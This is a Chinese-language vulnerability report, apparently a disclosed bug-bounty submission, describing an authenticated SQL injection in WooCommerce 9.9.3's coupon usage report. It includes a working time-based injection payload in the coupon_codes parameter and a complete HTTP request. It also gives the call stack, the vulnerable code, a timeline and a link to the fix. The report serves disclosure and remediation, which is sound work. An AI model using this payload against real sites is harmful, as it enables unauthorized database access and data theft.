WooCommerce SQL注入漏洞报告 #3198980
漏洞概述
在WooCommerce插件9.9.3版本中发现一个SQL注入漏洞,攻击者需要具备查看报告权限。漏洞存在于WC_Report_Coupon_Usage组件中,coupon_codes参数未充分过滤。
受影响端点
1
|
/wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+-
|
漏洞参数
受影响平台
复现步骤
- 使用管理员账户登录(为简化测试)
- 修改请求中的host和cookie为已登录会话的cookie
- 在coupon_codes参数中包含SQL注入payload
HTTP请求示例
1
2
3
4
5
6
7
8
9
|
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: <cookie of logged in session>
Connection: close
|
漏洞验证
观察响应延迟,证明漏洞存在。
调用栈分析
1
2
3
4
5
6
7
8
9
10
11
12
|
class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()
|
漏洞代码
1
2
3
4
5
6
7
|
public function __construct() {
if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
} elseif ( isset( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
}
}
|
影响范围
SQL注入存在于SELECT查询中,攻击者可提取敏感数据或结合其他漏洞进行利用。
时间线
- 2025年6月13日 05:23 UTC:漏洞提交
- 2025年6月13日 11:45 UTC:需要更多信息
- 2025年6月13日 13:05 UTC:确认为有效漏洞
- 2025年6月18日 10:16 UTC:漏洞修复并关闭报告
修复状态
该漏洞已在最新版WooCommerce中修复(相关PR:https://github.com/woocommerce/woocommerce/pull/58857)
漏洞评级
- 严重程度:中等(4.0-6.9)
- 弱点类型:SQL注入
- CVE ID:无
披露状态
报告已于2025年6月24日完全披露。